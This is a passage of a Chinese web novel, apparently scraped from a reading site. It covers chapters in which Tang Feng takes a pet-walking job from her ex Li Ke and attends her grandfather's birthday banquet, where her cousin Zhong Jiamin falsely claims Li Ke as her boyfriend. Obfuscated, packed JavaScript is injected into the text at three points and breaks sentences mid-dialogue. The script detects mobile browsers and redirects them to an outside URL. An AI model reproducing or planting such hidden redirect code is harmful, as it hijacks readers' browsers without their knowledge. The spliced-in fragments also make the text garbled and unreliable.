“没什么可惜的。”周聿亭说,“草根出身的人一个共性就是缺乏远见,纵使抓住了机遇一飞冲天,一着不慎再跌回去也是常态,人一辈子能得到多少是出生就注定好的。” 周聿亭是家族富了三代以上的老钱,李希出身书香世家,他们两人谁和“草根”两字都沾不上边,李恪更是如此,至于墙柜旁边站着的服务生,周聿亭没意识到服务生还长了对耳朵。 所以他没觉得自己的话里有什么带着优越感的冒犯,就算有,他也不会在意被冒犯到的人的想法。 李恪喝了口汤,起身:“我吃好了,谢谢周叔。” 等李恪推门离开房间的时候,周聿亭才意识到李恪可能是不大高兴了。 周聿亭和李希结婚的时候,李恪还在国外留学,毕业回国也没和他们住在一起过,李恪没改过口,从来都是叫他周叔。 李希给他打过预防针,说李恪是个性子冷漠的人,不和他亲近不代表他不喜欢,他对谁都这样。 不过周聿亭倒不这么认为,他觉得李恪有分寸有礼节,内心有长幼秩序,至少在餐桌上从来没有出现过提前离席的情况。 他问李希:“我是不是哪句话说错了。” 周聿亭很少有认为自己错了的时候,李希也很少做那个主动进谏的人,不过这次,她从门口收回视线,扯了下羊绒披肩,看向周聿亭:“你认为自己是个精英主义吗?” 周聿亭一顿:“这要看怎么理解这个词……” “我没有想就这个词的立意延伸讨论,”李希带着温柔的笑音,向服务生点了点头,“你好我们这边暂时不需要其他服务了。” 服务生立刻会意离开。 李希把盘子里李恪给她夹的糖醋肉放进口中,咀嚼几次,微微皱眉吞咽了下去。 “你也可以不赞同我的观点,但我的想法是,人获得的财富、成就和才华本质上是和运气脱不开关系的,出生在罗马,就一定比出生在其他地方的人高贵出不少吗?” 李希自己的观点,以及她教给李恪的一向是:身处罗马,就算无法共情其他人的不幸,也应该敬畏自己得到的成就,肯定当中的幸运因素。 可显然,不是每个在罗马的人都是这么想。 周聿亭但笑不语,他心里有个不符合李希期待的答案,不过他喜欢李希和他说这种话,于是微微偏头,示意李希继续。 李希却也只是笑笑,用纸巾优雅擦了擦唇角,将这个讨论戛然而止,“谁都没法保证这一辈子都遇不到运气用尽的时候,更没法保证倒了霉的人再也不能爬起来。唐述礼是个不错的商人,我和他接触过几次,他的野心和能力都足够,只是运气太差。” 周聿亭啜了口酒,在口中慢慢品味了一番。 运气也是能力的一种,站在罗马的人就连运气这点也拥有绝对的自信。 “但李恪失态不止是因为这个。”李希话锋一转。 “哦?” “我刚才提到的唐枫,你还有印象吗?” “唐述礼的女儿,李恪之前的女朋友?”周聿亭记忆力一向不差。 李希点头,“李恪从小到大就对她特殊,碰上她的事,别说冲你了,就是和我也能翻脸。” “当年如果没出这回事,说不定我现在连孙子都抱上了。”李希回忆起来,叹气摇了摇头,“我当时还专门给小枫设计了一套婚纱,想在订婚宴上送给她,结果设计图刚画好,就出了那件事……如果李恪真能把人追回来,我那套设计图也算没白画。” 李恪走出酒店,接到了陈铮打来的电话,热搜榜的事。 比起他冲同行翻白眼,被组CP带来的影响明显是利大于弊,明年专辑需要宣发,这次的热度是个很好的机会。 “钟嘉敏团队和我主动沟通了一下,钟嘉敏明年初有几个通告,问我你有没有感兴趣的。” 陈铮太了解李恪了,就算对方不是钟嘉敏,李恪对于这种炒作艹热度的行为也厌恶至极。 之所以还是要问,主要是这波流量诱惑太大了。 双方团队都没想到两人之间会引起这么高的讨论度,小火靠捧大火靠命,他们握着这么强的热度,直接扔掉太肉疼了。 为了打消李恪的顾虑,陈铮又补充了句:“赵明泉那边你也不用担心,钟嘉敏经纪人负责解释过了,他不会为难你。” 对面长时间没有传来回应,陈铮以为李恪又像之前一样,把手机放在一边,去做自己的事情了,他对着电话喂了两声,李恪终于开了口。 “把她的通告发我。” “你得——啊?你同意了?”陈铮还正准备说服一番,听到这话也愣了一下。 李恪:“随便,挂了。” “随便什么意思?我怎么和钟嘉敏那边说啊,喂?靠——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有没有天理了!唐枫恨不得飞过去抓着李恪衣领暴揍一顿,她现在是真的给他脸了是吧!一万块钱,他怎么不去抢呢? 一声怒吼骂出,刚刚走到她面前的人吓得往后退了两步。 唐枫刚要礼貌和对方道个歉,就发现这人好像是方才在另一条路问价的人,赶忙摆出专属营业微笑:“是刚才要画肖像画的顾客吗?你要画的话可以给你打八折!” 是个理着锅盖头,看起来和唐枫年纪差不多的男人,他握拳在嘴前咳嗽了一下,邪魅抬眉一笑:“那个感觉你看起来很面善,我想问一下,能不能要个你的联系方式?” 唐枫:“……” 本来以为是来财的,结果是好色的。 “你看我面善?”唐枫问他。 锅盖头:“……”他好像现在不是很确定了。 唐枫长吸了一口气,“哥们儿我劝你趁我现在还能礼貌地和你说两句话赶紧走,不然我不保证以我的低素质会不会把对别人的怨气撒在你身上。另外,泡妞你得舍得成本,本来可以花六十块钱给自己争取20分钟了解的时间,现在只会让妞觉得你抠门又冒犯。还有,你的发型让你看起来像个西瓜,趁着还没到正月去剪个头吧。” 锅盖头:“……我这是最近最流行的发型。” “在哪流行的?”唐枫说,“叮咚买菜吗?” 锅盖头气得脸红成了西瓜瓤,指着唐枫:“你你你——” “我我我不买西瓜。”唐枫学他。 “你给我等着!”锅盖头扔下这句话扬长而去。 等着就等着吧,旁边100米就是警察局,他还能摇人过来弄她不成? 不过话都说完了,唐枫自己也觉得没必要说得这么绝,对方也只是单纯好个色而已,怪只怪他运气不好,正好撞在了唐枫的枪口上。 发泄完一通,唐枫才算恢复了一些力气来对付真正的恶人,她打开手机一看,李恪已经给她发了好几条消息。 [No.:?] [No.:赖账?] [No.:还是你变卦,想过来给我遛狗] [No.:算你一个月。另外每天有额外150每小时的佣金,超过21点按3倍。] [No.:给你三分钟时间考虑,不回就当你放弃这个机会了。] 150每小时?! 3倍?! ToT 她,一点都不心动,真的! ╥﹏╥ 她就是饿死,也不要李恪的一分钱! 唐枫正气凛然给李恪打了一大段文字,告诉他,她“唐娇娇”不是他花一万几千块就能买到的,她人穷但绝对志不穷! 并且对李恪这种金钱利诱的行为表示强烈的谴责,让他下次下雨天小心点,不然雷第一道劈的就是他这种拿钱装逼的人…… 一大段文字还没来得及发出,面前出现两个戴帽的,拿着执法记录仪对着唐枫:“来,自觉点,主动上交吧。” 她的摆摊“作案工具”被城管没收走的时候,锅盖头跟在后面幸灾乐祸,“后悔了吗?早给我微信不就没这回事儿了。” 唐枫忍着心痛微微一笑:“丢小钱和吃大便,哪个更恶心我还是分得清的。” 锅盖头嘴角抽搐…… 唐枫说完背上自己空空如也的背包帅气转身,然后一背过脸五官立刻狰狞地挤成一团,开始无声大哭起来…… 她刚买的一盒新颜料!花重金购入的画板!还有她用了三年用顺手了的画笔!! 干巴巴抽搭了几下,唐枫拿出手机,把刚才打的一大段话统统删掉,重新打了一行字。 [不吃糖:Hello老板,请问我什么时候可以开始工作呢?「眨眼」「眨眼」] 16. 随叫随到 No.:给你三分钟时间考虑,不回就当你放弃这个机会了。] 最后一条消息发出去已经过了五分钟,李恪还是没有等到唐枫的回复。 是不是条件不够诱人,设定的时间太短?如果她真的拒绝了怎么办? 在他犹豫要不要说点什么补充条款时,不吃糖的昵称开始切换成“对方正在输入中……” 李恪盯着屏幕看了五分钟,对方还是一个字都没有发过来。 难不成是又开始写什么小作文了。 这家伙一和他置气就写小作文,写完还要强迫他必须逐字看,看完还要抽背,之前有次他给Maple喂鱼油呛到,唐枫骂了他5页,含3页喂狗注意事项,抽查时他背错了一项,唐枫又写了10页…… [不吃糖:Hello老板,请问我什么时候可以开始工作呢?「眨眼.emoji」「眨眼.emoji」 街边红灯切换绿灯,车道通行,李恪“嗤”地笑了一声。 另一边,唐枫焦急等着李恪的回复。 几秒后,对面开始显示正在输入中。 唐枫屈指咬着指甲瞪着李恪的头像。 五分钟后,对方正在输入中…… 十分钟后,对方…… 唐枫闭了闭眼,咬牙切齿,“李恪!你敢耍老子!” 耐心耗尽,唐枫准备和李恪宣布交易告吹,并且她要告他大额诈骗、骗财骗感情的时候,No.终于发来了消息。 [No.:超过3分钟了。] [不吃糖:「微笑.emoji」] [No.:得另算。] [不吃糖:「微笑.emoji」] 唐枫的白眼都要透过这两个微笑小人戳到人脸上了。 李恪挑挑眉,慢悠悠打下一行字。 [No.:除了早晚遛狗,其他时间如果我需要,你要随叫随到。] 唐枫实在忍无可忍了,几年不见,李恪还是如此这般的、狗! 恐怕真正需要被遛的不是Maple,而是李恪! 她噼里啪啦把手机搓出火星子。 [不吃糖:把身份证号发给我,我要告你!] [No.:8点到20点3倍工资,20点到8点5倍] [不吃糖:——告你辛劳之罪,这么多字您一个人打出来肯定很辛苦吧!罚你下次发语音一口气说完,别累坏了这天下最好的雇主~~] [不吃糖:老板我们后天就开始工作好吗?好的。早上八点我们不见不散哟~~] 唐枫被自己发出去的四个波浪号恶心得起了一片鸡皮疙瘩,不过心里还是美的。 这个世界上恐怕没有比李恪这里更好赚的钱了,她虽然鄙视这种随地乱撒钱的行为,但如果这钱是撒在了她的脸上,那么她将毕恭毕敬迎接,必要时可以牺牲那没用的志气! 正陷入对日入过千的幻想时,一段60秒的语音发了过来。 唐枫:“这货不会发语音给我背了段《将进酒》吧……” 点开,是一段漫长的空白。 唐枫有一瞬间以为是自己的手机音量调得太小了,于是调大音量凑近耳朵去听。 “为什么是后天?明天来。” 最后3秒,被调到最高格音量的李恪的声音从听筒传出,猝不及防的声波冲击炸碎了唐枫的耳膜。 唐枫:“……” 李恪你今年有满三岁吗?! 日入过千,日入过千,日入过千…… 唐枫把这四个字念叨了十几遍,才克制住打语音过去把他骂得狗血淋头的冲动。 [不吃糖:报告老板,明天我家里有事去不了。] 她暗自在心里把“老板”这两个字换成“傻逼”,顿时感觉聊天框都顺眼多了。 [No.:什么事,可以等你。超过晚上9点9倍。] 靠,李恪现在砸钱无节操得简直像个暴发户!这让被虽然被砸的是她本人,也想冲他竖个友好小手指了。 [不吃糖:报告老板,明天你爷外公也就是你爷爷唐枫我的外公过生日,我得去另一个市赶不回来。] 打完这行字,对着屏幕欣赏一番过了把干瘾,唐枫把“你爷外公也就是你爷爷唐枫我的外公过生日,”这段删掉,给李恪发了过去。 “明天去另一个市?”李恪看着唐枫发来的这条消息。 哪个市? 既然唐枫没在这句话里把信息透露,那他再问她也不会说。说不定这个城市的名字就会暴露唐枫就是唐娇娇的这个事实。 想到什么,李恪看了看日历上的时间。 明天……很熟悉的日子,唐枫外公的生日? 李恪从iCloud里翻了翻7年前的同一天,有几张是唐枫给他发来的烟斗照片,让他帮忙挑一个送给外公。 算一算,唐枫外公今年应该是过八十大寿。 李恪心中有了答案,打开通讯录拨了个电话出去。 - 时间很快到了第二天,一大早唐述礼就出了门,一直到晌午都没有动静,不仅人没回来,发消息都不回。 唐枫料到唐述礼是拿不出什么像样的礼物躲起来了,正打算下单自提她早就看好的一个同城非遗小木雕时,大门打开,唐述礼拎了个礼盒走了进来。 “咚”的一声把礼盒放在桌子上,唐述礼精神抖擞,脊背都挺直了老些。 “我就说让你们请好吧,看看我买了什么。” 唐枫走过去,把礼盒小心拆开,里面赫然一套做工精巧,镶金嵌绿的九桃五福汝窑茶具。 唐枫对茶具研究不深,但只从做工和礼盒内的大师印章来看,这套茶具没有五位数是拿不下来的。 叶茵显然比她识货更快,看到东西展颜一笑,抱着唐述礼的脸吧嗒亲了一口:“老公你怎么这么棒啊!” 唐述礼掐着腰尾巴都要翘起来了,非常受用之一笑:“那肯定不能让老婆丢了面子,公主就该有公主的排场!” 唐枫对这种公开虐狗的行为嗤之以白眼,她看着唐述礼:“唐驸马,您是不是卖腰子了?也不对啊,你这个年纪,腰子应该卖不出什么价钱了吧。” “去去去,”唐述礼嗔她,“我这是托朋友买的,打了个折。” “哪个朋友?”唐枫又问,“你破产后还有朋友吗?” 唐述礼:“你和你老爹说句好听话能怎么着?” “好听的话又不能当钱花。”唐枫嘟囔,她俯身对着这套茶具又看了一番。 汝窑……她想到了个名字。 “不会是孙志忠吧?”唐枫说。 孙志忠和唐述礼认识得很早,早年他们还在忻市做零售产业的时候,孙志忠做红酒外贸,说是外贸其实更像倒爷,孙志忠从其他地方进货,然后售卖给超市商户。 因为孙志忠之前在唐述礼早期创业时帮过他一些货源上的忙,唐述礼连锁店发展起来后出于感恩从孙志忠这里进了一批红酒,结果没多久就被投诉真假掺卖,唐述礼三倍赔付买家,赔了小几十万进去,后面就没再和孙志忠做过生意。 后来就听说孙志忠开始做起了瓷器倒卖,在汝窑大省颇有了些名气。 但唐枫坚信一句话,狗是改不了吃屎的。 “如果真是孙志忠,我建议你还是把差价补给他吧。”唐枫劝唐述礼,“省得回头为了还人情再赔几十万进去,这些钱对于现在的我们来说,可不是以前那么容易就解决的了。” 叶茵听到这个名字,笑意也渐渐淡了下来,她思忖片刻,说:“小枫这次说得对,你把钱还他吧,或者把东西退了,我们买点稍微便宜的东西也是一样。” 听母女俩难得的一致对他,唐述礼啧了啧舌,“看你们俩这大惊小怪的,都不是多少钱的事。老孙现在是那边的独家代理,拿的都是进货价,况且我当年那几十万都没让他赔,他现在卖我个人情送套茶具能算得了什么?” 见叶茵还是迟疑,唐述礼拍了拍她的肩膀宽慰道:“而且也不用担心他会坑我什么,别说我现在没什么能被坑的,就说老孙现在的身价也没必要坑我。汝窑代理只是他营生中极小的一部分,他大头是在做投资,每个月经他手的钱都要上亿,怎么可能看得上我这点小钱。” 思索了几秒,叶茵也不打算再纠结下去,主要是时间不等人,邯市离忻市还有几百公里,他们现在也没时间再去精挑细选其他礼物了。 “既然拿就拿了吧。”叶茵拍板,“有机会就把这个人情还了,朋友之间本来也就是靠来往巩固关系的。” 唐枫不赞同这句话,如果需要靠利益捆绑,那就不可能是真正的友情。 更何况和孙志忠这种有前科的做朋友存人情,是很有可能血本无归的高风险投资。 但这俩人没给唐枫发表意见的机会,叶茵拉着唐述礼帮她把关挑了套灯芯绒小旗袍,又挎上那只花了她2800的包包,最后检查了遍精致妆容,戴着墨镜坐上了唐述礼的车。 唐述礼开车三小时把母女俩送到寿宴所在的酒店,自己人却没有进去。 “我就不去了,附近接接单,等你们结束了喊我。”唐述礼说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034352|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们关系还没到那么差的那几年,外公就没给过老唐好脸色,有回唐述礼舔着脸想要求和,拍了件明代字画送过去,结果被外公烟斗砸了过去,说他暴发户显摆臭钱。 后来唐枫给外公送了个新烟斗,不知怎么被老唐知道了,老唐竟然道心破碎自己躲卧室哭了,说老爷子一辈子不认可他就算了,他自己亲闺女也背地里背叛他…… 算了,还是别见,不然不知道又要闹出什么幺蛾子。 进包房前,叶茵拉着唐枫的手:“怎么样?” “风华正茂!风韵犹存!国色天香!”唐枫竖大拇指。 叶茵把碎发往耳后一挽,昂首挺胸推开了包房大门。 里面正热闹着聊着什么,听到声音,几双眼睛齐唰唰聚了过来。 钟秋黎坐在靠门的位置,视线在叶茵身上上下扫了一通,笑吟吟道:“看叶茵这面色红润的,你不说自己之前病了,还以为是你不敢来找的借口呢。” 唐枫挽着叶茵的胳膊,明显感觉到叶茵的手腕绷紧了一下。 叶茵:“我有什么不敢来的。倒是大嫂,看面色又老了几岁,是太操劳了吗?我回头好好批评一下我大哥,就算再不满意媳妇也不能表现出来啊,毕竟夫妻这么多年了。” “你——”钟秋黎气急败坏想说什么,被旁边的叶霖拉了一下,递了个眼神,悄声道:“给爸过寿呢!” 叶茵则直接绕过她走向了主位的叶正修,“爸。” 唐枫也跟着乖巧叫了声:“外公。” “诶!”叶正修眉开眼笑拍了拍唐枫的肩膀,看向叶茵的时候脸又挂了起来,“还知道我是你爸啊。” 叶茵不顺着他走,没丁点讨欢心的弱姿态,说:“再说我走了。” “说不得你了是吧。”叶正修这么说,但态度还是没办法地软了下来,“生病了?” “感冒受了点风寒。”叶茵说,“本来怕过来传染你,昨天吃了药好多了。” “又不好好穿衣服了吧。”在长辈眼里,五十岁的小辈也还是小孩,“你这旗袍太薄了。” “一把年纪还学年轻人穿旗袍。”钟秋黎开口,打断了眼前温馨的一幕,“要我说人还是要优雅地老去,不然把自己打扮得不伦不类的惹人笑话,你说是吧,老叶?” 叶霖皱皱眉,“你少说两句吧。” 钟秋黎:“我怎么就——” 叶正修拍了拍桌子,“好了,好不容易坐到一块,吵吵吵,谁再吵出去!” 钟秋黎不满地噤声,叶茵得意冲她扬了扬眉,叶正修看向叶茵放在桌边的礼物,“你现在日子不好过,还准备这些干嘛。” 叶茵:“我们自己好着呢,您别为我担心了。对吧小枫?” 唐枫猛点头,反正今天叶茵就算说他们家现在正在备战福布斯富豪榜,唐枫也会面不改色点头。 她来之前已经和雷公电母请好假了,今天是给叶茵女士撑面子的,撒谎不会遭雷劈。 钟秋黎听到这里,又活泛起来,“买了什么礼物啊,给我们也开开眼呗?” 迎着众人期待的目光,叶茵把礼盒打开了。 “一整套九桃五福,现在可不好找。”外公点头,倒是满意。 叶茵:“老唐托人找了好久,市面上单只好买,成套难配。” 旁边传来一道嗤笑,不用想也知道是谁。钟秋黎呵声道:“不就是套茶具么,又不是什么名家大作,也好意思拿出来,进了小门小户人也跟着寒酸。” 当年外公和叶女士产生嫌隙,舅舅舅妈占了百分之九十的功劳,唐枫来之前告诫自己,今天只做一个敬业捧哏,毕竟作为小辈再怎么样也不好太无礼。 但钟秋黎的话实在过分。 “舅妈今天是心情不太好吗?我以为像舅妈这种受过高等教育的现代女性,不会说这么没有教养的话。是最近遇到什么难事了吗?”唐枫微微笑,用着四两拨千斤的语气说道。 钟秋黎表情顿了一下,又笑了声,“小枫以前就古灵精怪,现在啊嘴是更厉害了,一看就是平时没少吃苦练出来的。可惜了,这要是在我身边养着,现在说不定已经成大艺术家了。” 叶茵怼她:“说得好像你养了个大艺术家出来一样。” 钟秋黎声音莫名高昂了些,“那当然。” 叶茵刚想讽句什么,被一道声音打断。 “不好意思——” 包房门“吱呀”一声,一个清丽婀娜的身影推门而入。 “路上堵车,我来晚了。”钟嘉敏抿唇一笑,看向包房一处,“好久不见了,小枫。” 17. 玩笑 包房的灯大概是年久失修,或者只是被来人墨镜反射的光惭愧到,很给面子地闪了一下。 钟嘉敏摘下墨镜,底下是一张五官精致的脸,比屏幕里看到的要瘦上几分,五官再立体上几分,皮肤白皙,且不止是粉底的功效。 唐枫最近妆教视频看太多,职业病犯了,她看到钟嘉敏进来时,别的反应还没来得及提上行程,就开始下意识分析她的妆容起来。 一套很适合见家长的清水伪素颜妆,豆沙色口红、不明显内眼线,只是桃粉色的腮红有些显出了她脸上唯一的五官硬伤高颧骨,如果是她来改的话,肯定要用个低饱和色从耳际往里往内打…… “……小枫?”叫了几声对方都没反应,钟嘉敏维持尚可的表情管理差点崩塌。 唐枫这才从思绪中走出,还没回应,叶正修就先一步开口:“说了很多次了,要叫表姐。” 钟嘉敏微弯的唇角僵了下,握在手里的墨镜腿被折出一道弧度。 所有人都在看向她,她看向唐枫,暗咬了下唇肉,开口道:“……表——” 但被唐枫打断了,“算了,大过年的我也没准备红包。” 钟嘉敏嘴唇动了动,真就顺着唐枫的说法没再继续叫。 紧接着她目光扫视着准备入座,唐枫默默把放在边柜上的茶具礼盒拎起放到了靠近她的空椅子上,言下之意明显。 但钟嘉敏偏偏无视,放着靠近钟秋黎的空位不去,径直走向了唐枫。 刚要坐下,钟嘉敏看到椅子上的礼盒,惊讶道:“这是酒店没拆的碗碟套装吗?” 钟秋黎一唱一和,故作嗔怪道:“敏敏说的什么话,这是你小姑给爷爷准备的寿礼,虽然寒碜了点,也不能说是酒店送的啊。” 钟嘉敏立刻抱歉道:“不好意思小姑,我不是故意的。” 叶茵说:“没事,我还能和小孩计较嘛,又不是你妈。” 唐枫和叶茵对视一眼,眼神给她妈竖了个大拇指,嘴还是老的毒啊。 叶茵风轻云淡,正常发挥而已。 这一句话让钟嘉敏噎声,她看向对面钟秋黎的脸色,也明白了在她没来这会儿一定是发生了什么不大愉快的事。 钟嘉敏扯了扯嘴角,把叶茵拿的礼盒放到了地上,顺势坐下,然后将自己带来的礼品袋拿上桌。 钟嘉敏:“祝爷爷身体安康,福寿绵长。” 礼品袋打开,里面是一盏青玉薄胎杯,杯壁祥云纹缭绕,印刻双龙浮雕,即使没有底下故意露出的拍卖证书,只看品相也能猜得出品价不凡。 叶正修还没开口,钟秋黎就抢先道:“这不是前段时间那个拍卖会上的品么,唉哟实物看起来比图片还亮,果然这好东西啊还是贵精不贵多,这一盏杯不知道得顶得上多少套普通茶具。” 怕叶茵不知道她在内涵,钟秋黎又似有若无地朝叶茵给了个眼神,但叶茵根本不接招,专心喝着自己茶杯里的柠檬水,不时慢悠悠朝餐巾纸上吐籽。 “有多少个杯子我也只有一张嘴。”叶正修打断了她,又向钟嘉敏道:“敏敏有心了,一家人随便吃个饭,以后不用这么破费。” 语气平淡,无惊无喜的样子。 钟嘉敏嫣然一笑:“送给爷爷不算破费。拍卖行经理刚好是我的粉丝,这盏杯子很多行家盯着,我让他帮我留意了很久。他知道您过寿还让我帮带了句问候,顺便也当成对我拿奖的祝贺了。” 唐枫在旁边默默嚼柠檬片,以此压住自己想吐槽的心:我请问呢,谁问你了?? “敏敏拿奖了?”叶正修问道。 唐枫:……行吧。 钟嘉敏笑笑:“不是什么大奖,一个业内还算有含金量的年度最佳女歌手。” 钟秋黎紧接着道:“这不算大奖什么算啊,敏敏你也不能太谦虚了,不然别人还真以为你拿的是什么野鸡奖呢。” 叶霖也开了口:“你妈说得对,你就是从小对自己要求太高,难道非得是格莱美才算大奖啊。路得一步一步走,咱们拿奖也是一个一个拿!” “知道了,爸妈。”钟嘉敏乖顺点头。 唐枫和叶茵又是一对视,叶茵挑了挑眉:酸吗? 唐枫咂了咂嘴:柠檬挺酸的。 叶茵嘴巴挡在玻璃杯后笑了出来。 唐枫从小到大拿过最大的奖就是少儿绘画杯的金奖,那次一共18个人参加,金奖有4个,银奖6个,铜奖8个。 讲实话,她挺羡慕像钟嘉敏和李恪这种从小拿奖拿到手软的人的,虽然唐枫觉得她有很多长处别人都比不上,但她擅长的恰好都没设立奖项,而站在颁奖台上领奖确实挺脸上有面儿的。 唐枫很喜欢这种很有面儿的感觉,并且虽然钟嘉敏的那个奖受诟病很多,但那也是个金奖,虽然听说奖杯是金包银,但也能拿来卖钱的。 当然,如果钟嘉敏没有当着几百万观众的面内涵她的话,唐枫的祝福会更真心一点。 不过也可能是她想多了,钟嘉敏如今站在高处,遇到的人和事都要精彩太多,恐怕早就忘记了和她在少女时代的各种恩怨纠葛,也许“那个人”说的并不是她。 “不错。我不太懂你们这些什么奖啊的,不过得到了就得好好重视起来,不要辜负观众。”叶正修开口道。 “我会的,爷爷。”钟嘉敏点头。 钟秋黎看到了叶茵母女俩开小差的视线对接,提高音量道:“对了,爸你可以去看他们颁奖的那个直播,有回放敏敏的获奖词,她还特意感谢了您呢。” 这话一说,钟嘉敏莞尔的表情一下子顿住了,唐枫捕捉到,她就猜到了钟秋黎应该是只看了钟嘉敏拿奖的片段剪辑,根本没看全程,甚至没上网搜一下她获奖时最热门的相关搜索是什么。 “算了吧。”钟嘉敏扯了扯嘴角,“也没什么好看的,我当时很紧张,说话也有点乱七八糟的。” “那怎么能算了。”钟秋黎不依,“讲得挺好的,你不是把视频发给我了嘛,我转发给爷爷,对了我建个群吧,大家一起看,省得自己去搜了。诶叶茵——” 叶茵抬手,“不用拉我,又没感谢我我看什么。” “你这说的,你要是好好培养小枫当然也有人感谢你了。”钟秋黎趁机道,又向唐枫说:“小枫我拉你进去?” 唐枫喝了口水,摇摇头,“我也不用,我看过了。” 钟嘉敏表情一滞。 唐枫接着说:“还挺精彩的,我是说台下翻白眼的那位。” 钟嘉敏耳朵瞬间红得发紫。 “翻白眼?”叶正修不解,“怎么还有人翻白眼,在你讲话的时候?” 钟秋黎也不明所以,钟嘉敏快速吞咽了一下,说:“没有啦,是男朋友和我开玩笑呢。” “男朋友?!”叶正修、钟秋黎和叶霖异口同声道。 钟秋黎:“你什么时候交男朋友了?” 叶霖:“怎么没和家里人说?” 叶正修:“你男朋友在底下朝你翻白眼?” 钟嘉敏从容道:“刚交往不久,还没来得及和你们说。他叫李恪,也是一名歌手,拿了这次的最佳作曲奖,他平时很沉稳的,那次可能是看我太紧张了故意逗我呢。” 听到“李恪”这个名字的时候,叶茵立刻看向了唐枫,外公不认识李恪,但叶茵知道李恪对唐枫意味着什么。 可她没有什么反应,只是平静地给自己倒了一杯水,放在手里拿着没喝,脸上别说是难过,就算是惊讶都没有。 哎,又是在强忍伤心了,叶茵伸手在桌下拍了拍唐枫的腿,她这个女儿有时候就是坚强得让人心疼。 唐枫看向叶茵,小声道:“你也饿了是不是?不是说订的套餐吗?后厨还在种菜?” 这时候了还在搞幽默,叶茵又是一阵心疼,罢了,知道唐枫要强,她就不拆穿了。 “那那个赵明泉是什么情况?”叶正修问。 旁人给叶正修讲过赵明泉和钟嘉敏的绯闻,一个年纪快和叶霖差不多的有妇之夫,他也是因为这个对钟嘉敏不大高兴,连带方才她送出来的礼都觉得可能是那个光头的手笔,自然不喜。 钟嘉敏解释说:“赵老师的确追过我,但我也和他明确说了不可能,而且我已经和李恪在一起了,怎么可能还会和其他人扯上关系。很多都是媒体杜撰的,我也没有办法……” 见钟嘉敏委屈的样子不像是装出来的,叶正修也是心疼,说:“既然不是真的那就说清楚。交朋友还是要和同龄人一起,有时间带上李恪过来一起吃个饭。” 钟嘉敏带着水光的眼睛眨了下,点点头,“好,我问一下他。” 这一场大戏结束,饭总算被端了上来。 套餐是外公选的,他挑的都是叶茵爱吃的菜,唐枫和叶茵口味极像,也跟着沾了光,一顿饭吃得不亦乐乎。 席间外公打听了一番李恪的情况,钟嘉敏一一介绍,大部分说得倒有模有样,像是两个人真的交往了一般。 叶茵大概是闹的再大声刺激到唐枫,也没再呛什么。 但她不知道唐枫是真的没放在心上。 首先作为从小就认识的人,唐枫对钟嘉敏的审美还是有一定了解的,她不会喜欢李恪这种一身锋芒的人。 钟嘉敏生性敏感,她需要时刻有人哄着她包容她,最好像一池温泉默默暖着她,李恪只会像冰碴子默默扎着她。 至于钟嘉敏为什么要说谎,无论是在外公面前还是在大众面前,唐枫猜测大概是李恪的白眼无意中给了钟嘉敏很高的流量,比起李恪,她只是对李恪给的流量动心了。 钟嘉敏从小目标明确,是个没有感情的利益至上主义者,她能利用光头,就能利用李恪。 而现在,顺水推舟,李恪这个看起来至少比光头更拿得出手的女婿,刚好能够让她在全家面前再次占据高点。 想明白这些,唐枫就觉得自己更没必要在意了,她又不是钟嘉敏争番的艺人,这件事本质上和她关系不大。 而且她和外公关系本来就好,这点就更没必要争了。 她目前最在意的,就是怎么趁他们聊得热火朝天的时候,悄无声息地把对面最后一只小青龙转到自己这里来。 唐枫一手扒着桌沿,一手拿着筷子蓄势待发,半圈、1/2圈、1/3圈,预备备—— 手机忽然响了起来。 看都没看,唐枫掐掉电话直接夹起小青龙到自己盘子里,露出胜利表情,一旁正分享自己去巴黎时装周见闻的钟嘉敏见状关切道:“小枫,已经吃了这么多还是饿吗?你现在看起来像是很久没吃过龙虾一样哎。” 说到一半钟嘉敏又捂嘴,露出像是说错话了的神情:“抱歉我忘记你平时就是吃不到这些了,那你多吃点吧,可能以后很久都吃不到了。” 唐枫拆着龙虾腿,“嗯嗯”点头:“那你把你的那份海参也给我,顺便给我打2万块钱。” 钟嘉敏滞了一下。 唐枫眯眼一笑:“开玩笑的,其实我不爱吃海参。” 钟嘉敏看着唐枫神色复杂,似乎是在犹疑,几年没见唐枫怎么变得这么市侩,以及,把她设定为假想敌的自己,真的有这个必要吗…… 一只小青龙完完整整拆壳吃完,唐枫在盘子里把壳拼回龙虾的形状,才有心情查看刚才漏接的电话。 显眼的名字跳出来……李恪。 正在这时,屏幕上方又蹦出一条微信提醒。 “No.发来一张图片。” 点开消息,是Maple的照片,它正站在一面白色的墙前,眼角下耷嘴巴紧闭,舌头也没吐,看起来不大有精神的样子。 [不吃糖:Maple怎么了?你们这是在哪?] [No.:只有Maple才能让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044068|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回我消息?] 唐枫:……磨磨唧唧的。 算了算了,是金主大大,虽然李恪是狗,但他的钱是人民的币啊。 [不吃糖:不是啊,刚才在吃饭没看到。] [No.:。] 得,又开始吐泡泡了。 [No.:Maple昨天吐了几次,带它来忻市医院看看。] 